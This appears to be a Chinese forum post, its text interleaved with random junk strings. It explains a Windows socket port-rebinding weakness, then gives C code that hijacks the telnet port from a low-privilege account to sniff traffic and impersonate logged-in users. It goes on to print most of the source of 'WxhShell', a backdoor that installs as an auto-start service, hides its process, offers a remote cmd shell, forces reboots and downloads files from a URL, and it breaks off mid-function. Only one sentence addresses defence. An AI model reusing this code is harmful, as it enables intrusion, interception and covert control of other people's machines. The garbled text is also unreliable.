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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4DLp+6zP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dqxtc|vo A8|DB@Bi saddr.sin_family = AF_INET; X1wlOE s<#["K*_ saddr.sin_addr.s_addr = htonl(INADDR_ANY); {Tr5M o ko7*9` bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Aho zrroV ,?k0~fuG6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t 0 omJP y"bSn5B[ 这意味着什么?意味着可以进行如下的攻击: _U
Q|I|V# 1UHlA8w7Q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A5WchS' -9D2aY_> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1&7~.S;km -=;V*; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _R/^P>Q? D6Q6yNE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 5>S=f{ghFw ng0tNifZ; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pYxdE|2j 76'@}wNnw 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V?[dg^*0 r:.ydr@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EdH;P\c
xY_<D+OV #include $4Vp l #include 4hQ.RO #include JkfVsmc<{h #include j:Y1 DWORD WINAPI ClientThread(LPVOID lpParam); dGc<{sQzB int main() nuvRjd^N { j Z6]G{ WORD wVersionRequested; MJyz0.9 c DWORD ret; {?+dVLa^; WSADATA wsaData; E\_Wpk BOOL val; Q:v9C ^7 SOCKADDR_IN saddr; wO-](3A-8P SOCKADDR_IN scaddr; {p90 int err; *X%dg$VcV SOCKET s; bjq+x:> SOCKET sc; \h{M\bSIEa int caddsize; @nNhW HANDLE mt; M9PzA'}4W6 DWORD tid; Id(wY$C&> wVersionRequested = MAKEWORD( 2, 2 ); M~!DQ1u err = WSAStartup( wVersionRequested, &wsaData ); S7(Vc H if ( err != 0 ) { {J[5 {]Je[ printf("error!WSAStartup failed!\n"); bdxmJ9a:R return -1; L/+KY_b:* } s7
K](T4 saddr.sin_family = AF_INET; q8=hUD%5C #Rw9Iy4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^.Xom~ PV(TDb:0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q@+#CUa&n saddr.sin_port = htons(23); bMCy=5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^Gt9. { n !oxwA! printf("error!socket failed!\n"); Cg]Iz<<bE return -1; rn8#nQ>QZ% } sI,S(VWor val = TRUE; ;,&$ob*/ //SO_REUSEADDR选项就是可以实现端口重绑定的 cD 5^mxd% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HLruZyN4 { I_aSC 4 printf("error!setsockopt failed!\n"); gX'nFGqud return -1; 5 0KB:1(g } OS{j5o //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &pk&8_=f //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -~HyzX\cZB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bMjE@S& ajJ+Jn\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5h!ZoB)n { WF&?OHf2 ret=GetLastError(); n7$21*, printf("error!bind failed!\n"); No(p:Snbo return -1; q33Z.3R } $Y3mO~ listen(s,2); +<TnE+>j while(1) Pkq?tm$# { }b$W+/M\ caddsize = sizeof(scaddr); nyRQ/.3 //接受连接请求 2c u?2_, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H}f}Y8J{ if(sc!=INVALID_SOCKET) i|/EA7 { Jmcf9g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "I
n[= 2w if(mt==NULL) ;5.S" { HuRq0/" printf("Thread Creat Failed!\n"); wVMR&R<t break; @TqqF:c7 } ]hC6PKJU } 1 Vq)& N CloseHandle(mt); pf%B } *y@Xm~ld
closesocket(s); sSdnH_;& WSACleanup(); c
0/vB return 0; A])+Pe }
(;(P3h DWORD WINAPI ClientThread(LPVOID lpParam) g=q1@ ) { &?wNL@n SOCKET ss = (SOCKET)lpParam; ] l@Mo7|w SOCKET sc; 'G|M_ e unsigned char buf[4096]; BJ$\Mb##3@ SOCKADDR_IN saddr; KJQW ))%e long num; V
W2+ Bs} DWORD val; jSKhWxL;' DWORD ret; !h[xeLlU //如果是隐藏端口应用的话,可以在此处加一些判断 1{0 L~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6|HxBC#4 saddr.sin_family = AF_INET; 5p]Cwj<u saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wiE'6CM saddr.sin_port = htons(23); DX\|*:, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fvH4<c5x { lq[o2\ printf("error!socket failed!\n"); UFOUkS
F return -1; #@^mA{Dt5 } m&&Y=2 val = 100; 6_vhBYLf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rg,]du u? { s ~Xa=_+D ret = GetLastError(); ,!i!q[YkL9 return -1; 67]kT%0 } ;+6TZqklQ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KbicP< { ,%!E-gr ret = GetLastError();
,fR /C return -1; {<J(*K*\Jo } UU;U,q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ab/^z0GT { t_\;G~O9-M printf("error!socket connect failed!\n"); R{3vPG closesocket(sc); 6{8dv9tK closesocket(ss); %X^K5Io return -1; TTQ(\l4 } rV[/G#V>{ while(1) 5+yT{,(5 { =|Vm69 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .`;
bQh'! //如果是嗅探内容的话,可以再此处进行内容分析和记录 F&[MyX U4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3~5%6` num = recv(ss,buf,4096,0); 7LZA!3 if(num>0) |OarE2 send(sc,buf,num,0);
|vVcO else if(num==0) M tD{/.D> break; VQe@H8>3 num = recv(sc,buf,4096,0); C#3K.0a if(num>0) DM[gjfMXu send(ss,buf,num,0);
"'zVwU else if(num==0) 2n3g!M6~ break; %<?U`o@* } k'b'Ay(< closesocket(ss); ,2*x4Gycb closesocket(sc); 1O@y
>cV return 0 ; miv)R } wB0Ke Rk(2|I K2gg"#ft? ========================================================== 9@{=2 k @9ndr$t 下边附上一个代码,,WXhSHELL Fmo^ ?~b UX!)\5- ========================================================== /GUbc 9%MHIY5 #include "stdafx.h" S#g=;hD g]a5%8*{ #include <stdio.h> iF!r}fUU6 #include <string.h> x=jS=3$8 #include <windows.h> ^`<
%Pk #include <winsock2.h> XaH%i~}3 #include <winsvc.h> %*Aq%,.={ #include <urlmon.h> +GDT@,/ }p$@.+ #pragma comment (lib, "Ws2_32.lib") |o0?u: #pragma comment (lib, "urlmon.lib") ,LpG E>s P S [ifC #define MAX_USER 100 // 最大客户端连接数 s?-J`k~q #define BUF_SOCK 200 // sock buffer 25m6/Y #define KEY_BUFF 255 // 输入 buffer ,{rm<M.) B$)&;Q #define REBOOT 0 // 重启 B!iz=+RNC1 #define SHUTDOWN 1 // 关机 )HPe}(ypt Y-vLEIX= #define DEF_PORT 5000 // 监听端口 R[Y{pT,AY L-V+ `![{ #define REG_LEN 16 // 注册表键长度 ZL{\M|@jz #define SVC_LEN 80 // NT服务名长度 ,- FC IN#Z(FMVC // 从dll定义API X@cO`P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2F-
]0kGR| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^9wQl!e
ob typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8/oO}SLF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l:?w{'i$ 8 "5^mj // wxhshell配置信息 B+Ox#[<75 struct WSCFG { C_q@ixF{ int ws_port; // 监听端口 B4d\4S_r% char ws_passstr[REG_LEN]; // 口令 NL7CeHs5 int ws_autoins; // 安装标记, 1=yes 0=no _Vl22'wl char ws_regname[REG_LEN]; // 注册表键名 AQR/nWwx char ws_svcname[REG_LEN]; // 服务名 "oc&uj char ws_svcdisp[SVC_LEN]; // 服务显示名 QO|roE char ws_svcdesc[SVC_LEN]; // 服务描述信息 lf?dTPrD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OqNtTk+ int ws_downexe; // 下载执行标记, 1=yes 0=no :i8B'|DN5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" y/d/#}\: char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "pLWJvj6- )*tV }; |^! GR ^d/ // default Wxhshell configuration \cKY{(E struct WSCFG wscfg={DEF_PORT, R-\a3q "xuhuanlingzhe", FvTc{"w / 1,
W!.vP~ > "Wxhshell", x.ZW%P1 "Wxhshell", $lYy `OuC "WxhShell Service", qo^PS "Wrsky Windows CmdShell Service", ^w1&A3=6 "Please Input Your Password: ", Yj-JB 1, 5:W5@e{ " http://www.wrsky.com/wxhshell.exe", `N.^+Mvx- "Wxhshell.exe" I C?bqC+ }; {P[>B}'rW hI Q 2s
// 消息定义模块 |2'u@<(Z/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7>sNjOt@M char *msg_ws_prompt="\n\r? for help\n\r#>"; Q#a<T4l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Xe:gH.} char *msg_ws_ext="\n\rExit."; >3\($<YDZM char *msg_ws_end="\n\rQuit."; @_
Q char *msg_ws_boot="\n\rReboot..."; FWu[{X; char *msg_ws_poff="\n\rShutdown..."; T|fmO<e*n char *msg_ws_down="\n\rSave to "; zJ9[),;7B :#I7);ol char *msg_ws_err="\n\rErr!"; \4qwLM?E^ char *msg_ws_ok="\n\rOK!"; ~,jBm^4 sCi"qtHP char ExeFile[MAX_PATH]; y8k*{1MuO int nUser = 0; rr;p; HANDLE handles[MAX_USER]; VGDds int OsIsNt; R<-u`uXnP pA|Z%aL SERVICE_STATUS serviceStatus; fVJsVZ"6v` SERVICE_STATUS_HANDLE hServiceStatusHandle; zVL"$ ) 9f/RD?(1O // 函数声明 U|2*.''+Q int Install(void); %;0l1X int Uninstall(void); I]dt1iXu_{ int DownloadFile(char *sURL, SOCKET wsh); I0v$3BQ4 int Boot(int flag); iT;~0XU7F void HideProc(void); [@RJ2q$ int GetOsVer(void); N~/D| ?P~2 int Wxhshell(SOCKET wsl); NrTK+6 z void TalkWithClient(void *cs); e_iXR#bZc int CmdShell(SOCKET sock); yi-S^ int StartFromService(void); =:~%$5[[ int StartWxhshell(LPSTR lpCmdLine); }g@5%DI] yv&VK ht VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sb^%eUU]) VOID WINAPI NTServiceHandler( DWORD fdwControl ); N%:)M T,&g Y%"6 // 数据结构和表定义 @2HNYW) SERVICE_TABLE_ENTRY DispatchTable[] = 0w24lVR. { E?@batIrf {wscfg.ws_svcname, NTServiceMain}, KTzkJx {NULL, NULL} |#x]FNg }; \8 ~`NF ;uK">L[u' // 自我安装 nGvWlx int Install(void) `EjPy>kM { _h2s(u
>\ char svExeFile[MAX_PATH]; E,fG<X{ HKEY key; iR`c/ strcpy(svExeFile,ExeFile); e.<y-b? p"lTZ7c:Y // 如果是win9x系统,修改注册表设为自启动 $:
%U`46%s if(!OsIsNt) { Ln2dD> {2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O5;$cP: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); luYa+E0 RegCloseKey(key); LBs:O*; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { afJ`1l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rElbzL"&< RegCloseKey(key); @mbR I0 return 0; 2:>|zmh_ } xbeVqP } l[)ZEEP } ED>T2.:{ else { bOKgR{i y66V`,e0 // 如果是NT以上系统,安装为系统服务 Q:/BC= ~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FN)vFQ#J if (schSCManager!=0) kq m$a { 5/m^9@A SC_HANDLE schService = CreateService k&kx%skz ( uk\-"dS schSCManager, kOycS wscfg.ws_svcname, :vqfWK6mv wscfg.ws_svcdisp, mV58&SZT SERVICE_ALL_ACCESS, 9)Jc'd| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `QIYnokL SERVICE_AUTO_START, k8~/lE.Wy SERVICE_ERROR_NORMAL, H$j`75#u?- svExeFile, ) C?emTih NULL, :gvw5h% NULL, p`
'8M NULL, n
qR8uL> NULL, qxR7;/@j ) NULL /J-:?./ ); ee9nfvG- if (schService!=0) 13X0LN { B<`'h CloseServiceHandle(schService); jw^Pt~@ CloseServiceHandle(schSCManager); /61P`1y(J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T==(Pw7R7 strcat(svExeFile,wscfg.ws_svcname); 0."TSe83\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]nEZQ+F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @7C?]/8# RegCloseKey(key); WrS|$: 0 return 0; b.<>CG' } tc_D8Q_ } ?2#v`Z=L; CloseServiceHandle(schSCManager); 6@2 S*\& } Hvm+Tr2@ } bg8<}~zg GO=& return 1; |#r[{2sS } -RSPYQjz m
_0D^e7# // 自我卸载 q
$Hg\ {c int Uninstall(void) S;582H9D { T%%+v#+ HKEY key; E%f;Z7G $7#N@7 if(!OsIsNt) { tPT\uD#t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Llf |fayq RegDeleteValue(key,wscfg.ws_regname); B" -gK20vY RegCloseKey(key); ]aqHk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C3Hq&TVf/ RegDeleteValue(key,wscfg.ws_regname); UeG$lMV RegCloseKey(key); j4au
Zl]NF return 0; _d8k[HAJ| } reyN5n~4U } lF:gQ]oc } 6z^Kg~a else { 4{:W5eT! / $II[b-X?S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /\%K7\ if (schSCManager!=0) Q]';1#J\ { H$^b.5K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9I a4PPEH1 if (schService!=0) ?G5JAG` { .b4_O
CGg if(DeleteService(schService)!=0) { 9.KOrg5}L CloseServiceHandle(schService); :q V}v2 CloseServiceHandle(schSCManager); 1_Um6vS# return 0; TJ:B_F*bSk } OHqc,@a;+ CloseServiceHandle(schService); $J/Z~(=JT } O7#ECUH CloseServiceHandle(schSCManager); ~~?4w.k } k)W8%=R } BReNhk)S
f6 zT return 1; 6]i"lqb } 8{5Y%InL Hev S}L
// 从指定url下载文件 vG(Gs=.U int DownloadFile(char *sURL, SOCKET wsh) f\Bd lOJ> { AsRS7V HRESULT hr; SR9Cl char seps[]= "/"; i$)`U] char *token; q16RPqfT char *file; _P!J0 char myURL[MAX_PATH]; `.z;.&x char myFILE[MAX_PATH]; rpsq.n KzeTf?G strcpy(myURL,sURL); Zho d %n3 token=strtok(myURL,seps); ^h+<Q%'a' while(token!=NULL) 10v4k<xb { Z!TLWX" file=token; `~Eo;'( +^ token=strtok(NULL,seps); Le9^,B@Pb } m*L*# ZBS L\||#w GetCurrentDirectory(MAX_PATH,myFILE); $_-f}E strcat(myFILE, "\\"); G9s: Wp strcat(myFILE, file); tT}*%A send(wsh,myFILE,strlen(myFILE),0); AL/q6PWi send(wsh,"...",3,0); \UI7H1XDH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]X,C9 if(hr==S_OK) [&n2 yt return 0; =`5Xx( else rn
l~i return 1; g{@q +#gJ[Cc } /I{<]m$ j]EeL=H<P // 系统电源模块 a3i4eGT - int Boot(int flag) 2R&msdF { |3f?1:"Z HANDLE hToken; =6b^j]1 TOKEN_PRIVILEGES tkp; &B
uO- 6P=6E if(OsIsNt) { VLW<"7I 6\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0c4H2RW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i]8HzKuiW tkp.PrivilegeCount = 1; =[!&&,c= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \2#>@6Sqrl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +Zu*9&Cx if(flag==REBOOT) { `}gjfu -'\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vn@9Sqk return 0; SMVn2H@ } +E7s[9/r else { -QL_a8NL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {D1"bDZ return 0; Ml1sE,BT } <rc? EV } /
%}Xiqlrd else { q]3bGO; if(flag==REBOOT) { ^9zL[R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rvZXK<@#+ return 0; l5ww-#6Z } Al="ss&2 else { x@3Ix,b' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i-)OY, return 0; ~"89NVk" } $pK2H0c } g+oSbC 4S>A}rWz return 1; _p/
_t76s } V|3}~(5= !6hUTjhW7z // win9x进程隐藏模块 _,:gSDW| void HideProc(void) VSa\X~ { ?sV0T)uk s^F6sXhyPi HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W' w;cy:H if ( hKernel != NULL ) 1w}%>e-S { eO#Kn'5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6m_
fEkS[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ].=&^0cg FreeLibrary(hKernel); s86Ij>VLf } 9|v3lGK( \<WRk4D return; =n>&Bl-Bl } pIBL85Xe [+EmV >Y // 获取操作系统版本 n46H7e(ej\ int GetOsVer(void) ]ovP^]]V { L=4%MyZ.e OSVERSIONINFO winfo; Zq7Y('=`t@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); };"-6e/9 GetVersionEx(&winfo); -J8&!S8 X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sJ[I< return 1; U:xY~> else +jQHf-l return 0; c3,YA,skb! } 4SRX@/ #8* R&Y+x;({ // 客户端句柄模块 ._j9^Ll int Wxhshell(SOCKET wsl) k@MAi* { C&Rv$<qc SOCKET wsh; z+IBy+ struct sockaddr_in client; {%W'Zx DWORD myID; CN4Q++{ IzPnbnS} while(nUser<MAX_USER) +VxzWNs*JP { #!="b8F int nSize=sizeof(client); yClX!OL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BEWDTOY[ if(wsh==INVALID_SOCKET) return 1; /
i[F ~>vv9-_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 57 (bd0@8 if(handles[nUser]==0) 7]se!k, closesocket(wsh); r'!L}^n else h=tzG KI nUser++; Z4 y9d?g%b } _p0@1 s(U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SVKjhZK bzYj`t? return 0; LYY3*d } 9yla &XTD %
NSb8@ // 关闭 socket <y4hK3wP void CloseIt(SOCKET wsh) MvV\?Lzj { _Q XC5i closesocket(wsh); h"R{{yf2 nUser--; }7)iLfi ExitThread(0); Z!HQ|')N5 } H,8HGL[l
X0a)6HZ{ // 客户端请求句柄 8SH&b8k<< void TalkWithClient(void *cs) B?A]0S { )b AO A xZbiEDU SOCKET wsh=(SOCKET)cs; m5i?<Ko@ char pwd[SVC_LEN]; YU>NGC]}d char cmd[KEY_BUFF]; <5).(MTa char chr[1]; 9BW"^$ int i,j; p1}umDb% ;W"=s79 while (nUser < MAX_USER) { JK.<(=y\ $W} YXLFj? if(wscfg.ws_passstr) { BF)!VnJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mO#62e4C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :c03"jvYE //ZeroMemory(pwd,KEY_BUFF); (rTn6[* i=0; lqaOLZH while(i<SVC_LEN) { ,u.G6"< nulLK28q // 设置超时 3UXaA; fd_set FdRead; 7LotN6H
struct timeval TimeOut; ^:hI bF4G FD_ZERO(&FdRead); NgI n\)
=0 FD_SET(wsh,&FdRead); `IC2}IiF TimeOut.tv_sec=8; 2Q bCH} TimeOut.tv_usec=0; P]h-**O int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g/3t@7*< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <D}yqq@| |FED< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4eD>DW pwd =chr[0]; 7&O0 if(chr[0]==0xd || chr[0]==0xa) { YB`1S pwd=0; ]7|Zs]6 break; cmcR@zv } I
0vJJP# i++; 8cKP_Ec } n?a?U: e-E0Bp // 如果是非法用户,关闭 socket ~7;AV(\%e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [N=v=J9 } 8?l/x yq6Gyoi< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7cMHzhk^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m7$t$/g Gf<f#.5y
, while(1) { eVRPjVzQ'Q q$iGeE# ZeroMemory(cmd,KEY_BUFF); tDWoQ&z2t_ P >>VBh? // 自动支持客户端 telnet标准 qT153dNA& j=0; EX"o9' while(j<KEY_BUFF) { k`(Cwp{Oc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c9/&A cmd[j]=chr[0]; %96l(JlJ)B if(chr[0]==0xa || chr[0]==0xd) { HI\V29
a cmd[j]=0; ;0"p)O@s04 break; ]@P!Q&V # } oVAY}q|wU j++; )&px[Dbx } /:GeXDJw (8Inf_59 // 下载文件 \2#j1/d4 if(strstr(cmd,"http://")) { *S= c0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); -\I".8"YE if(DownloadFile(cmd,wsh)) )<K3Fz
Bs send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;
8B)J<y else Oj]4jRew send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ TfN*0 } @3v[L<S{ else { EvGKcu D/oO@;`'c switch(cmd[0]) { !;%+1j?d #+ai G52+ // 帮助 /RBIZ_ case '?': { +@mgb4_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *|*6q/ break; aH'=k?Of; } Lk`,mjhk // 安装 \Y$@$) case 'i': { =N^j:t if(Install()) U
UYx-x send(wsh,msg_ws_err,strlen(msg_ws_err),0); f?BApm else [AN= G!r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qA>C<NL break; MZWicfUy } c`s ]ciC // 卸载 (yO8G-Z0 case 'r': { 'z$!9ufY, if(Uninstall()) Aa!#=V1d send(wsh,msg_ws_err,strlen(msg_ws_err),0); .T*89cEu else dw YGhhm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6}JW- sA break; f7v|N) } []<N@a6VA> // 显示 wxhshell 所在路径 DP6>fzsl case 'p': { 3R?6{. char svExeFile[MAX_PATH]; p/ au.mc strcpy(svExeFile,"\n\r"); Mh"vH0\Lj strcat(svExeFile,ExeFile); XtftG7r9S send(wsh,svExeFile,strlen(svExeFile),0); >k9W+mk break; 5J2tR6u-( } I~T~!^}U // 重启 j}aU*p~N case 'b': { &:[hUn8jU send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wu@v%!0 if(Boot(REBOOT)) #v\o@ArX send(wsh,msg_ws_err,strlen(msg_ws_err),0); V]W-**j< else { l|L
]==M closesocket(wsh); VpyqVbx1 ExitThread(0);
k`=&m" } bZCNW$C3l break; ZRn!z`.0 } i:n1Di1~E // 关机 8Y
P7'Fz case 'd': { ;.I,R NM send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lnWscb3t if(Boot(SHUTDOWN)) =y]FcxF send(wsh,msg_ws_err,strlen(msg_ws_err),0); !f01.Tq8 else { [WUd9fUL closesocket(wsh); z+{Q(8'b] ExitThread(0); v<:/u(i } V*%Lc9<d break; r68d\N`. } %mNd9 ]< // 获取shell XLj|y#h case 's': { n0vhc; d CmdShell(wsh); RCY}JH>} closesocket(wsh); fK10{>E1 ExitThread(0); O)D+u@RhH break; @,;VMO } KvNw'3Ua // 退出 6g 5Lf) yG case 'x': { v{O(}@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &H:2TL! CloseIt(wsh); k{E!X break; DgGG*OXY } EeDK ^W8N // 离开 qrkJ: case 'q': { ~mk>9Gp send(wsh,msg_ws_end,strlen(msg_ws_end),0); NU(YllPB closesocket(wsh); 5K {{o'' WSACleanup(); {(_>A\zi exit(1); 5uO.@0 break; iu'At7 } ';KZ.D } !Nx'4N`&l } I`S?2i2H Ybp';8V // 提示信息 pe>[Ts`2F if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XG8UdR| } )|`w;F> } n1)~/
> 0xzS9 return; !w{(}n2Wq } YjzGF=g# [KNA5(Y0 // shell模块句柄 SxW.dT8{ int CmdShell(SOCKET sock) ;, ^AR{+x { IZ&FNOSZ+4 STARTUPINFO si; v 0D@`C ZeroMemory(&si,sizeof(si)); 0'O6-1Li si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Gn-` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; * %w8bB PROCESS_INFORMATION ProcessInfo; I0v4TjHH char cmdline[]="cmd"; UY/qI%#L#, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _&K>fy3t& return 0; !H4C5wDu } !f)^z9QX8 wG",Obja // 自身启动模式 UUDZ int StartFromService(void) _)-y& { 3?uah'D5 typedef struct O%m>4OdH { 3\H0Nkubts DWORD ExitStatus; OHK]=DH:M DWORD PebBaseAddress; R y"N_Fb DWORD AffinityMask; Cd'K~Ch3 DWORD BasePriority; b&I{?'"% 8 ULONG UniqueProcessId; mM\jU5P:^ ULONG InheritedFromUniqueProcessId; hDD]Kc;G^1 } PROCESS_BASIC_INFORMATION; DUWSY?^c aSQvtv)91 PROCNTQSIP NtQueryInformationProcess; |s, Add:S j[Oh>yG static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /<)kI(gf static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mo0pN\A}h k*!f@ M HANDLE hProcess; ?~WDlj3 PROCESS_BASIC_INFORMATION pbi; QRlrcauM z~\Y*\f^Y3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5v5K}hx if(NULL == hInst 